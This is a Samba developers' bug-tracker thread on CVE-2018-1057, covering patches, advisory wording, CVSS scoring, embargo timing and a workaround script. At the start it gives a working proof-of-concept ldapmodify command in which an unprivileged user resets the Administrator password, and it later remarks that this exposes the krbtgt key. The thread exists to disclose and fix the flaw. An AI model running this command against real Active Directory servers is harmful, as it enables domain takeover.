Unprivileged AD users can change any user (and also the Administrator) password without the need to specify the old user password.

Ralph and Metze are currently working on the fix.

Here is an example where a new user "iamnotpriviliged" changes the
Administrator's password:

# samba-tool user create iamnotpriviliged --password=Passw0rd1

# samba-tool user setpassword Administrator --newpassword=Passw0rd
Changed password OK

# echo IgBHAEAAYQBuAHoARwBlAGgAZQBpAG0AIgA= | base64 -d
"G@anzGeheim"

# ldapmodify -D CN=iamnotpriviliged,CN=Users,DC=dxdom,DC=private -w
Passw0rd1 -h bb-xenial64.dxdom.private -x -ZZ <<EOF
dn: CN=Administrator,CN=Users,DC=dxdom,DC=private
changetype: modify
delete: unicodePwd
-
add: unicodePwd
unicodePwd:: IgBHAEAAYQBuAHoARwBlAGgAZQBpAG0AIgA=
EOF
modifying entry "CN=Administrator,CN=Users,DC=dxdom,DC=private"

# wbinfo -a DXDOM\\Administrator%G@anzGeheim
plaintext password authentication succeeded
challenge/response password authentication succeeded

This has been assigned CVE-2018-1057 by Red Hat Product Security.

Created attachment 13977 [details]
CVE-2018-1057-master.metze01.patches.txt

Created attachment 13978 [details]
Proposed advisory text

(In reply to Ralph Böhme from comment #4)
Can the krbtgt key be changed?

If so, it might not be detected because:
 - no human uses it directly
 - each KDC only checks the current value in the directory (then one that is changed)

If that key is changed (and so known) this could allow long-term compromise of the directory even after the issue is patched.

Thankfully direct change of the krbtgt is blocked (a test would be good), but could be vectored via a domain admin reset:

(from password_hash.c)

	if (io->u.is_krbtgt) {
		size_t min = 196;
		size_t max = 255;
		size_t diff = max - min;
		size_t len = max;
		struct ldb_val *krbtgt_utf16 = NULL;

		if (!ac->pwd_reset) {
			return dsdb_module_werror(ac->module,
					LDB_ERR_ATTRIBUTE_OR_VALUE_EXISTS,
					WERR_DS_ATT_ALREADY_EXISTS,
					"Password change on krbtgt not permitted!");
		}

I've taken a look at the patches, and so far they seem reasonable and cover the cases I expect.

I did notice one thing though, you seem to be able to mix and match the different password attributes. e.g. delete: userPassword + add: unicodePwd

As far as I have tested, supplying an differing attribute for the old password (to the new password) still generates the hashes (and checks them) as required. It's an odd behavior, and I would wonder what behavior Windows does in this case.

I think we should extend the workaround section with an actual command that would block the password changes, and another to undo that. 

We should also clarify that banning changes by other means (like setting a minimum password age) won't be effective and why (that machine accounts, of a DC in particular, could still be changed).

Comment on attachment 13977 [details]
CVE-2018-1057-master.metze01.patches.txt

This passed a private autobuild

(In reply to Andrew Bartlett from comment #10)

The problem is that we don't have tools implement the workaround.
If you have a good text we can take that, otherwise we could also
say no workaround is possible.

(In reply to Andrew Bartlett from comment #6)

> if (!ac->pwd_reset) {

In the problematic case we have pwd_reset=true,
so that code doesn't protect, but further down
we have generate_secret_buffer() to generate
a new password instead of using the provides one.

But if someone knows the administrator password
the krbtgt key can be fetched easily.

(In reply to Stefan Metzmacher from comment #12)
Whatever we do, it would be good to have something asap as we should probably roll the security fix into 4.8.0, so the security releases must be at the same date as the scheduled 4.8.0 release which is next Thursday.

I'm in favour of keeping the generic workaround description.

(In reply to Ralph Böhme from comment #14)
While we debate the exact wording, can we get backported patches (if required) and open it up to vendors?

I don't like the current wording, I think we really need a script that implements the workaround and a listing of the most obvious not-workarounds (like minimum password age). 

I ask for this because I'm pretty sure we as a team will be asked for it anyway.

But I also understand the time and resource constraints, and there is a risk even sitting on these patches.

Created attachment 14008 [details]
CVE-2018-1057-v4-8.metze01.patches.txt

Created attachment 14009 [details]
CVE-2018-1057-v4-7.metze01.patches.txt

Created attachment 14010 [details]
CVE-2018-1057-v4-6.metze01.patches.txt

Created attachment 14011 [details]
CVE-2018-1057-v4-5.metze01.patches.txt

(In reply to Andrew Bartlett from comment #15)

If you have the resources to write such a script, it's highly welcome:-)

I hope this will apply down to 4.2 (in Debian jessie, we have 4.2.14+patches).

(In reply to Mathieu Parent from comment #21)
No, the patches do not apply cleanly.  Two of the patches do not apply.

(And keen as I am to help, I can't promise to do the backport right now).

Sorry.


(In reply to Stefan Metzmacher from comment #19)
Have these backported patches passed private autobuilds yet?

Thanks,


(In reply to Stefan Metzmacher from comment #20)
I do realise that is the most reasonable thing.  I didn't want to promise but it is clearly the next step to take here.  

Sorry,

Andrew Bartlett

(In reply to Andrew Bartlett from comment #22)

Yes, I combined them with the patches for CVE-2018-1050
and run private autobuilds with v4-5-test, v4-6-stable, v4-7-stable, v4-8-test
and master from a few days back.

Proposing embargo lift date: 3/19/2018

Comment on attachment 14011 [details]
CVE-2018-1057-v4-5.metze01.patches.txt

I've checked the patch, it is a direct backport of the one Garming went over with a fine toothed comb for master. 

I've run the test, and it passes, but more importantly it fails when the fixing patches are removed.

I've also looked over the logic and I'm happy with that (it is still over-complex however, something we may wish to address in the long term). 

Thank you to everyone who has worked so hard on this!

I know folks like to ask for the CVSS v3 Vector, so here is what I came up with:

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C 

CVSS Base Score:
    8.8
Impact Subscore:
    5.9
Exploitability Subscore:
    2.8
CVSS Temporal Score:
    8.2
CVSS Environmental Score:
    NA
Modified Impact Subscore:
    NA
Overall CVSS Score:
    8.2


https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

Created attachment 14016 [details]
Proposed advisory text

What about this one?

On Thu, Mar 01, 2018 at 07:28:02PM +0000, samba-bugs@samba.org wrote:
> https://bugzilla.samba.org/show_bug.cgi?id=13272

"You are not authorized to access bug #13272". 

- John

> 
> Stefan Metzmacher <metze@samba.org> changed:
> 
>            What    |Removed                     |Added
> ----------------------------------------------------------------------------
>                  CC|                            |samba-vendor@samba.org
>               Group|samba-devel                 |samba-vendor
> 
> -- 
> You are receiving this mail because:
> You are on the CC list for the bug.
>

The planed release date is March 13th.

(In reply to Ralph Böhme from comment #27)
Honestly, I don't like it either, but even with the high priority this has I've not been able to find the time to write something more automated and so less error prone than ldbedit.

How about this:  We pull this out of the advisory and into a wiki page to be debated here but published on the day.  That way packages can be created etc without blocking on a possible workaround (or not), and advise can be updated after the release.

We don't need a website, and certainly not a theme tune, but letting administrators know they need to be ready to patch any AD DC would be handy given we don't have good mitigations. 

What do folks think about a pre-announcement?  I ask here because it impacts vendors too (both ways: concerned customers but also prepared customers). 

On mitigations:
I spoke with (vendor) Tranquil IT today and they are going to play with some mitigation ideas I had but didn't get a chance to test.  Those are:

 setting 'check password script' to bin/false.  Not a total cure, as DC accounts can still be changed, but those are harder to abuse than administrator.

 setting 'server services = -ldap'.  Quite drastic but perhaps keeping the KDC and netlogon service up might be enough for some use cases for a short time. 

Thanks,

Andrew Bartlett

(In reply to Andrew Bartlett from comment #31)

We did a pre-announcement before, see
https://lists.samba.org/archive/samba-announce/2017/000405.html

Should we just take the similar text, like:

  this is a heads-up that there will be important Samba security updates
  on Wednesday, March 13th (~ 8-11am UTC). Please make sure that your Samba
  servers will be updated immediately after the release!

If there are no objections I'll post this tomorrow.

Tuesday, March 13th

(In reply to Arvid Requate from comment #33)

Thanks!

  this is a heads-up that there will be important Samba security updates
  on Tuesday, March 13th (~ 8-11am UTC). Please make sure that your Samba
  servers will be updated immediately after the release!

(In reply to Andrew Bartlett from comment #31)

The most effective, easy to enable and disable, short-term mitigation I could find is setting a minimum password length:

Show the existing settings:

# bin/samba-tool domain passwordsettings show -s st/ad_dc/etc/smb.conf

Password informations for domain 'DC=addom,DC=samba,DC=example,DC=com'

Password complexity: on
Store plaintext passwords: off
Password history length: 24
Minimum password length: 7
Minimum password age (days): 1
Maximum password age (days): 42
Account lockout duration (mins): 30
Account lockout threshold (attempts): 0
Reset account lockout after (mins): 30

Create a pwsettings.ldif file with:

dn: dc=addom,dc=samba,dc=example,dc=com
changetype: modify
replace: minPwdLength
minPwdLength: 2147483639
-

Run this to set the 2GB min pw length.  This is protective as parts of Samba refuse to allocate more than 256MB at a time.

# bin/ldbmodify -H st/ad_dc/private/sam.ldb pwsettings.ldif
Modified 1 records successfully

This only needs to be done on one DC, it will replicate and disable password changes or resets.

This shows it has been set:
# bin/samba-tool domain passwordsettings show -s st/ad_dc/etc/smb.conf

Password informations for domain 'DC=addom,DC=samba,DC=example,DC=com'

Password complexity: on
Store plaintext passwords: off
Password history length: 24
Minimum password length: 2147483639
Minimum password age (days): 1
Maximum password age (days): 42
Account lockout duration (mins): 30
Account lockout threshold (attempts): 0
Reset account lockout after (mins): 30

# This shows it works:

bin/ldbmodify -H ldap://$SERVER -Uunpriv%$PASSWORD pwreset.ldif 
ERR: (Constraint violation) "LDAP error 19 LDAP_CONSTRAINT_VIOLATION -  <0000052D: Constraint violation - check_password_restrictions: the password is too short. It should be equal or longer than 2147483639 characters!> <>" on DN cn=administrator,cn=users,dc=addom,dc=samba,dc=example,dc=com at block before line 6
Modify failed after processing 0 records


This shows how to undo it:

# bin/samba-tool domain passwordsettings set -s st/ad_dc/etc/smb.conf  --min-pwd-length=7

This still only applies to user accounts, but those (administrator) are the easiest to attack.  

Note that other accounts (DC accounts in particular) can also modify the domain or read passwords, but need more complex tools. 

Andrew Bartlett

(In reply to Ralph Böhme from comment #27)

I'm writing the tool I promised, but in the meantime I think the text should say to change OA to OD on the ACE, not remove it.  

I've tested this and it is effective (OD is object deny) and is easier to reverse later (as you don't have to search for the D: part rather than the S: part).

Created attachment 14028 [details]
script to disable password changes by others

Attached is the first draft of the script I promised

Goal
----

It implementing the workaround that Ralph suggests in the current advisory, but modified in the way I suggested earlier, that is to just change the OA (object allow) to OD (object deny).

Unlike the approach described earlier, this should not block normal password changes, but I need to verify this tomorrow.  In particular I don't expect SAMR, or Kerberos password changes to be impacted, and I've already checked that machine account changes are unaffected.  Also un-impacted should be if the LDAP user connecting at Bind time is the LDAP user changing the password.  

(The reason the difference is even allowed is to allow a change of a expired password)


The actual script:
------------------

However as a general principle I also need review of the script, particularly as ACL changes are weird in Samba.

Beyond review, if anyone has the resources to test this out, please do, this is likely to be run extensively early next week. 

The script should run against older Samba versions without modification, so can provide a workaround until the server binaries are patched. 

To lock
# source4/scripting/bin/samba_CVE-2018-1057_helper --lock-pwchange -s st/ad_dc/etc/smb.conf

To unlock
# source4/scripting/bin/samba_CVE-2018-1057_helper --unlock-pwchange -s st/ad_dc/etc/smb.conf

Thanks!

(In reply to Andrew Bartlett from comment #37)

Hi Andrew,

the OD trick is nice!

I'll have a closer look at the script and may extend it
to also change the defaultSecurityDescriptor attributes
in the schema, so that new accounts will also get this.

I think the maximum password age should also be changed
to something very high, so that it can't happen that
a user is unable to change an expired password.

(In reply to Stefan Metzmacher from comment #34)

The "Heads-up" is out, see
https://lists.samba.org/archive/samba-announce/2018/000434.html
https://lists.samba.org/archive/samba/2018-March/214321.html
https://lists.samba.org/archive/samba-technical/2018-March/126171.html

(In reply to Stefan Metzmacher from comment #38)

OK, so what you are saying is to add some text like this:

"While rare, and not used by windows clients by default, if your network does rely on the *LDAP the password change protocol*, you may consider to set a high maximum password age so that passwords do not expire while you are mitigating this issue".

And thanks for the positive feedback on the script, and the defaultSecurityDescriptor point!

For others following along, the reason to flip OA to OD is that is makes it quite trivial to flip back, however I think we also need to flip the GUID to something we make up.  

Reading this on ACE ordering again in the NZ morning, I think this will actually deny all LDAP password changes, even for self:  

https://msdn.microsoft.com/en-us/library/windows/desktop/aa379298(v=vs.85).aspx

But if we change the GUID it would just be a meaningless ACE, useful only as the marker and so closer to Ralph's mitigation. 

Thanks,

Andrew Bartlett

(In reply to Andrew Bartlett from comment #40)

Yes, I guess we can just exchange the GUID.

I was too busy to try the defaultSecurityDescriptor thing.

(In reply to Stefan Metzmacher from comment #41)

I mean keep OA and just change the GUID...

(In reply to Stefan Metzmacher from comment #42)
Thanks.  I'll continue on Monday NZ time.  Contributions by others most welcome!

I realise that is close to deadline but I've tried 'just a little' development on a Saturday and it never stays that way :-)

Created attachment 14029 [details]
CVE-2018-1057-description.metze04.txt

This refers to https://wiki.samba.org/index.php/CVE-2018-1057
for possible workarounds.

Comment on attachment 14029 [details]
CVE-2018-1057-description.metze04.txt

This looks good to me.

Created attachment 14030 [details]
CVE-2018-1057-wiki.metze01.txt

First draft for https://wiki.samba.org/index.php/CVE-2018-1057,
but this needs changes once Andrew's script is ready.

Created attachment 14031 [details]
Updated workaround script, lightly tested

Attached is an updated script that implements the defaultSecurityDescriptor change metze suggested

Comment on attachment 14028 [details]
script to disable password changes by others

(mark old script as obsolete)

(In reply to Andrew Bartlett from comment #49)

Thanks! But can we use a more human readable GUID, like this?

ffffffff-CECE-2018-1057-000000b13272

Created attachment 14032 [details]
Updated workaround script, lightly tested, using metze's guid

Thanks for the suggestion, here is the updated script.

Created attachment 14033 [details]
proposed wiki text describing how to run the script

An updated page for the wiki (created by hand, may contain minor formatting errors)

Created attachment 14034 [details]
CVE-2018-1057-description.metze04.ks.txt

users -> users'

Karolin, I think it would be good to send a notification to all
three bug reports, 60 or 30 mins before the end of the embargo.

Created attachment 14035 [details]
samba_CVE-2018-1057_helper

Updated workaround script

This fixes the print statements for the dry-run mode
and fixes some trailing whitespaces.

I've tested this within:
make -j testenv SELFTEST_TESTENV=ad_dc:local
and the ACEs are replacted correctly

Comment on attachment 14035 [details]
samba_CVE-2018-1057_helper

Looks good to me.  Thanks!

Created attachment 14036 [details]
Improved wiki text

Created attachment 14038 [details]
CVE-2018-1057-description.metze04.ks_v2.txt

Fix version 4.6.15 -> 4.6.14

Created attachment 14039 [details]
CVE-2018-1057-description.abartlet05.txt

If there is still time, this simply clarifies that service accounts are 'users' too.

(Otherwise I've tried to clarify this much in the FAQ)

Comment on attachment 14035 [details]
samba_CVE-2018-1057_helper

This will be available as
https://download.samba.org/pub/samba/misc/samba_CVE-2018-1057_helper
with the signature
https://download.samba.org/pub/samba/misc/samba_CVE-2018-1057_helper.asc

Created attachment 14040 [details]
Wiki text containing link to advisory and helper script

Created attachment 14041 [details]
Wiki text containing link to advisory and helper script

Updated the wiki text as a quick read showed a formatting issue on the first line and that I could improve the text for the script options. 

Thanks so much for filling in the blanks, and particularly for the replication point!

(In reply to Stefan Metzmacher from comment #64)

In the long term this can live in git, I propose 

source4/scripting/bin/samba_CVE-2018-1057_helper

as the path.  I'll add it there tomorrow, but you can put it in earlier with my Signed-off-by if you like.

Comment on attachment 14041 [details]
Wiki text containing link to advisory and helper script

Looks good.

The end of the embargo will be announced in about 30 minutes...

(In reply to Stefan Metzmacher from comment #69)

End of embargo!

Pushed to autobuild-v4-8-test and master.

Created attachment 14042 [details]
CVE-2018-1057-v4-4.metze01.patches.txt

Created attachment 14043 [details]
CVE-2018-1057-v4-3.metze01.patches.txt

Comment on attachment 14043 [details]
CVE-2018-1057-v4-3.metze01.patches.txt

Can you upload these to https://www.samba.org/samba/history/security.html also (as this bug isn't public)?

Thanks,

(In reply to Andrew Bartlett from comment #74)

I'm working on it...

(In reply to Stefan Metzmacher from comment #75)

The raw links:
https://download.samba.org/pub/samba/patches/security/samba-4.4.16-CVE-2018-1057.patch
https://download.samba.org/pub/samba/patches/security/samba-4.4.16-CVE-2018-1057.patch.asc

https://download.samba.org/pub/samba/patches/security/samba-4.3.13-CVE-2018-1057.patch
https://download.samba.org/pub/samba/patches/security/samba-4.3.13-CVE-2018-1057.patch.asc

(In reply to Andrew Bartlett from comment #74)

Done, https://www.samba.org/samba/patches/ as in the advisory text
redirects to https://www.samba.org/samba/history/security.html
now.

Hello list,

samba-4.4 patch has one compiling failure:
> ../source4/dsdb/samdb/ldb_modules/password_hash.c: In function 'setup_io':
> ../source4/dsdb/samdb/ldb_modules/password_hash.c:2585:24: error: 'struct ph_context' has no member named 'update_password'
>    if (pav == NULL && ac->update_password) {
                        ^
Looks like samba-4.4 do not include Bug#9654
> https://bugzilla.samba.org/show_bug.cgi?id=9654
> https://git.samba.org/?p=samba.git;a=commitdiff;h=8ca1c02163901cea29aac1428607742318433ed3

Should we simply replace this line with on samba-4.4 patch?
-    if (pav == NULL && ac->update_password) {
+    if (pav == NULL) {

(In reply to Jones Syue from comment #78)

Yes, that looks correct.

Sorry for the trouble, I'll upload new patches shortly.

Created attachment 14044 [details]
CVE-2018-1057-v4-4.metze02.patches.txt

This is the same as
https://download.samba.org/pub/samba/patches/security/samba-4.4.16-CVE-2018-1057.patch

Created attachment 14045 [details]
CVE-2018-1057-v4-3.metze02.patches.txt

This is the same as
https://download.samba.org/pub/samba/patches/security/samba-4.3.13-CVE-2018-1057.patch

(In reply to Stefan Metzmacher from comment #80)

Great! Thank you! 
patch => compiling => deploy => works fine!

ldapmodify output:
> modifying entry "CN=Administrator,CN=Users,DC=1282t,DC=addc"
> ldap_modify: Constraint violation (19)
>        additional info: error in module acl: Constraint violation during LDB_MODIFY (19)

Pushed to v4-8-test and master.

Created attachment 14047 [details]
Script with the str(msg.dn) workaround for 4.3 -> 4.6

The attached script passed a smoke test on Samba 4.3, 4.4, 4.5, 4.6

Comment on attachment 14047 [details]
Script with the str(msg.dn) workaround for 4.3 -> 4.6

But does it also work with 4.7?

Created attachment 14048 [details]
samba_CVE-2018-1057_helper (tested with 4.3, 4.6 and 4.7)

This is the updated
https://download.samba.org/pub/samba/misc/samba_CVE-2018-1057_helper

(In reply to Stefan Metzmacher from comment #86)
Thank you very much for handling this!

(I clearly didn't handle this well yesterday, not only didn't I leave enough time to test 4.7 it seems I started from the wrong version of the script!).

Also fixed in master and 4.8.0

Removing embargo on long-fixed security bug.